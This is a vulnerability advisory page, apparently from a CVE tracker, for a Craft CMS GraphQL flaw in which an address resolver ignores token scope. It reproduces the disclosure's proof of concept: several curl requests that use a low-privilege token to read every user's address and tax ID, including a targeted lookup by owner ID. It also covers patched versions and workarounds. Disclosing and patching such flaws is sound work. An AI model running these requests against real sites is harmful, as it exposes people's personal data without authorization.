Skip to main content

Craft CMS CVE-2026-44010

HIGH
Missing Authorization (CWE-862)
2026-05-06 https://github.com/craftcms/cms GHSA-gj2p-p9m4-c8gw
7.1
CVSS 4.0 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
7.1 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
X

Lifecycle Timeline

3
CVSS changed
May 12, 2026 - 21:22 NVD
7.1 (HIGH)
Source Code Evidence Fetched
May 06, 2026 - 18:31 vuln.today
Analysis Generated
May 06, 2026 - 18:31 vuln.today

DescriptionGitHub Advisory

Summary

The GraphQL Address element resolver (src/gql/resolvers/elements/Address.php) performs no schema scope filtering on top-level queries. A GraphQL API token scoped to a single low-privilege user group can read every address in the system, including addresses belonging to users in groups the token has no authorization to access. This exposes PII, including full names, addresses, organizations, tax IDs, etc.

Details

Every GraphQL element resolver in Craft CMS applies schema scope filtering via GqlHelper::extractAllowedEntitiesFromSchema() when handling top-level queries, except the Address resolver.

The only gate check for addresses is canQueryUsers() (src/gql/queries/Address.php, line 30), which is a binary check. It returns true if the token has access to *any* user group. Once past this gate, no further filtering is applied.

PoC

Tested on: CraftCMS 5.9.17 (fresh Docker install, PHP 8.3) Prerequisites: A GraphQL API token with read access to any single user group

Environment

  • Two user groups: publicUsers (in token scope) and internalTeam (NOT in scope)
  • 5 internal executives with corporate addresses (internalTeam)
  • 3 public customers with personal addresses (publicUsers)
  • GQL token scoped to publicUsers:read only

Step 1: Introspect the schema to discover the addresses query is available to this token. Issue the below curl command

bash
curl -s -H "Authorization: Bearer wbzwuzvlfohtahryztgaawyjpctqdvcm" -H "Content-Type: application/json" -d '{"query": "{ __type(name: \"Query\") { fields { name description } } }"}' http://localhost:8080/actions/graphql/api | jq

<img width="1641" height="856" alt="image" src="https://github.com/user-attachments/assets/d798b4d2-9965-40fd-8252-ba6b08d1dde9" />

The token can see addresses, entries, users as top-level queries.

Step 2: Enumerate Address fields to identify PII exposure surface.

bash
curl -s -H "Authorization: Bearer wbzwuzvlfohtahryztgaawyjpctqdvcm" -H "Content-Type: application/json" -d '{"query": "{ __type(name: \"AddressInterface\") { fields { name
type { name } } } }"}' http://localhost:8080/actions/graphql/api | jq

<img width="1726" height="862" alt="image" src="https://github.com/user-attachments/assets/31a90b5d-7337-49b9-8802-355f16b7b4f3" />

> Exposed fields include: fullName, firstName, lastName, addressLine1/2/3, locality, postalCode, countryCode, organization, organizationTaxId, latitude, longitude. >

Step 3: Establish baseline - confirm the token’s user scope is limited. This proves our token only has access to the publicUsers group.

bash
curl -s -H "Authorization: Bearer wbzwuzvlfohtahryztgaawyjpctqdvcm" -H "Content-Type: application/json" -d '{"query": "{ addresses { id fullName firstName lastName addressLine1 addressLine2 locality postalCode countryCode organization
organizationTaxId } }"}' http://localhost:8080/actions/graphql/api | jq

<img width="1626" height="492" alt="image" src="https://github.com/user-attachments/assets/42ec8c3d-d1ae-4eac-9202-af072f394e4a" />

Only 5 public users returned. Scope enforcement works correctly for the User resolver - internal executives are NOT visible.

Step 4: Query all addresses - the token returns data for ALL user groups, including those outside its authorized scope.

bash
curl -s -H "Authorization: Bearer wbzwuzvlfohtahryztgaawyjpctqdvcm" -H "Content-Type: application/json" -d '{"query": "{ addresses { id fullName firstName lastName addressLine1 addressLine2 locality postalCode countryCode organization
  organizationTaxId } }"}' http://localhost:8080/actions/graphql/api | jq

<img width="1902" height="910" alt="image" src="https://github.com/user-attachments/assets/ef34e11c-36a8-4582-93e3-04c3e4dad6ab" />

<img width="1444" height="942" alt="image" src="https://github.com/user-attachments/assets/64d6edec-60bf-4481-8a20-7f64c81c015b" />

▎ "This token can only see 5 users, but it returns 10 addresses" as shown in the above 2 screenshot outputs

> All 10 addresses returned. The same token that only sees 5 public users now returns addresses for internal executives including corporate tax IDs: > > - Sarah Chen, 4200 Executive Plaza Dr, SF - Horizon Dynamics Inc. (TaxID: 82-4917263) > - James Whitfield, 89 Kensington High St, London - Whitfield Capital Partners LLP (TaxID: GB927461038) > - Maria Rossi, 15 Via della Conciliazione, Roma - Rossi & Bianchi Avvocati (TaxID: IT04829173651) > - David Nakamura, 2-11-3 Meguro, Tokyo - Nakamura Medical Technologies KK (TaxID: JP8230-4719-2835) > - Elena Voronova, 27 Universitätsstrasse, Zurich - Voronova Biotech AG (TaxID: CHE-384.291.057)

---

Step 5: Targeted IDOR - extract a specific internal user’s address by owner ID.

bash
curl -s -H "Authorization: Bearer wbzwuzvlfohtahryztgaawyjpctqdvcm" -H "Content-Type: application/json" -d '{"query": "{ addresses(ownerId: [3]) { fullName addressLine1 addressLine2 locality postalCode countryCode organization
  organizationTaxId } }"}' http://localhost:8080/actions/graphql/api | jq

<img width="1902" height="365" alt="image" src="https://github.com/user-attachments/assets/b7c6d5cf-295a-433a-a76c-2b69815968cd" />

> Directly extracts a specific internal team member’s address: “Secret Admin”, 1 Secret Government Facility, Suite 007, Langley 22101 - SecretCorp LLC (TaxID: 98-7654321). The token has zero authorization to access this user’s data.

Impact

Who is Impacted

Any Craft CMS Pro site (v4.0.0+) that uses GraphQL API tokens with user group scoping and stores user addresses. This is the standard deployment pattern for headless CMS sites using frameworks such as Next.js, Nuxt.js, or Gatsby. An attacker with any valid GraphQL token that has access to at least one user group can extract all addresses in the system, regardless of scope restrictions.

Risk

  • Direct threat to installation data: Any GraphQL API token with access to any single user group can extract all address systems-wide, including names, home addresses, organizations, and tax IDs belonging to users in restricted groups.
  • Targeted extraction via IDOR: The ownerId argument allows an attacker to extract specific users’ addresses by ID, enabling targeted reconnaissance against administrators or high-value users without any brute-force or elevated access.
  • Scope boundary failure: Craft CMS’s GraphQL schema scoping system is the primary security mechanism for controlling API access. Every other element resolver (Entry, User, Asset, Category, Tag) enforces this boundary. The Address resolver does not, making this a foundational gap in Craft’s native authorization model and not a site-specific configuration issue.
  • Affects all installations using GraphQL with user groups: Any Craft CMS Pro site that exposes a scoped GraphQL token and stores addresses is affected. This is the standard headless CMS deployment pattern, not an edge case.

AI Disclosure

This vulnerability was identified through manual source code review with AI-assisted analysis (Claude). The initial pattern deviation (Address resolver missing scope filtering while all other resolvers have it) was identified through manual comparison of resolver implementations. AI was used to assist with code navigation, PoC scripting, and report drafting.

All findings were verified against a local Docker instance of Craft CMS 5.9.17.

Resources

https://github.com/craftcms/cms/commit/834b2cf61ad0dcee9b03add44ed402ebf18db128

AnalysisAI

Unauthorized PII disclosure in Craft CMS GraphQL API allows cross-scope address enumeration via missing authorization check. A GraphQL API token scoped to any single low-privilege user group can read all addresses system-wide, including PII from restricted user groups (full names, home addresses, corporate addresses, tax IDs, GPS coordinates). The Address element resolver bypasses schema scope filtering that all other element resolvers enforce. Vendor-released patch: versions 5.9.18 and 4.17.12. Publicly available exploit code exists (detailed PoC in GitHub advisory). Affects all Craft CMS Pro deployments (v4.0.0+) using headless GraphQL APIs with user group scoping-a standard deployment pattern for Next.js/Nuxt/Gatsby frontends.

Technical ContextAI

Craft CMS implements a GraphQL API with token-based access control using schema scoping (GqlHelper::extractAllowedEntitiesFromSchema()) to restrict which user groups a token can access. Every element resolver (Entry, User, Asset, Category, Tag) enforces this boundary by filtering queries to only return entities belonging to groups in the token's authorized scope. The Address resolver (src/gql/resolvers/elements/Address.php) contains a critical implementation gap: it only performs a binary canQueryUsers() check that returns true if the token has access to ANY user group, then performs NO subsequent scope filtering. This creates an authorization bypass-once the initial gate check passes, the resolver returns addresses for all users regardless of group membership. The CWE-862 (Missing Authorization) classification correctly identifies this as a fundamental failure to verify whether an operation is allowed, not merely inadequate granularity. The patch adds extractAllowedEntitiesFromSchema() scope filtering with a SQL EXISTS clause joining against the usergroups_users table, enforcing the same boundary that other resolvers implement.

RemediationAI

Upgrade immediately to Craft CMS 4.17.12 (for 4.x branch) or 5.9.18 (for 5.x branch) as documented in vendor advisory at https://github.com/craftcms/cms/security/advisories/GHSA-gj2p-p9m4-c8gw and applied via commit 834b2cf61ad0dcee9b03add44ed402ebf18db128. The patch adds extractAllowedEntitiesFromSchema() scope filtering to the Address resolver, enforcing user group boundaries via SQL EXISTS clause. If immediate patching is not feasible, implement these compensating controls with noted trade-offs: (1) Disable GraphQL addresses query entirely by removing Address element permissions from all GraphQL schemas (Configuration → GraphQL → Schemas → edit each schema → uncheck Addresses under Queries)-this breaks any frontend functionality that legitimately queries addresses but eliminates the exposure surface, or (2) Restrict GraphQL API endpoint access (/actions/graphql/api) to trusted IP ranges via web server ACL (nginx allow/deny directives or Apache Require ip)-reduces attack surface to internal networks but does not prevent insider threats or compromised internal systems, or (3) Rotate all existing GraphQL API tokens and issue new tokens with minimum necessary user group access-limits blast radius but does not fix the underlying authorization bypass. Note that restricting token permissions to fewer user groups does NOT mitigate this vulnerability-an attacker with a token scoped to even one low-privilege group can still extract all addresses. Workarounds are temporary risk reduction only; vendor patch is the complete fix.

More in PHP

View all
CVE-2019-11043 CRITICAL POC
9.8 Oct 28

In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it

CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2018-11138 CRITICAL POC
9.8 May 31

The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

Share

CVE-2026-44010 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy